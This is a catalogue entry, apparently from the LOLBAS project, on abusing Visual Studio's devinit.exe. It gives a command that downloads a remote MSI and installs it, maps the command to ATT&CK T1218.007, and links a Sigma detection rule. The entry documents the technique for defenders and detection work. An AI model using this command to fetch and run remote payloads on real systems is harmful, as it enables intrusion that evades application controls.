Devinit.exe

type: OtherMSBinaries

Visual Studio 2019 tool

Full path

C:\Program Files\Microsoft Visual Studio\<version>\Community\Common7\Tools\devinit\devinit.exe
C:\Program Files (x86)\Microsoft Visual Studio\<version>\Community\Common7\Tools\devinit\devinit.exe

Commands

ExecuteUser T1218.007
Executes code from a (remote) MSI file.
```
devinit.exe run -t msi-install -i {REMOTEURL:.msi}
```
Downloads an MSI file to C:\Windows\Installer and then installs it.
os: Windows 10, Windows 11
Execute: MSIExecute: Remote

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_devinit_lolbin_usage.yml

Resources

https://twitter.com/mrd0x/status/1460815932402679809

acknowledgement: mr.d0x @mrd0x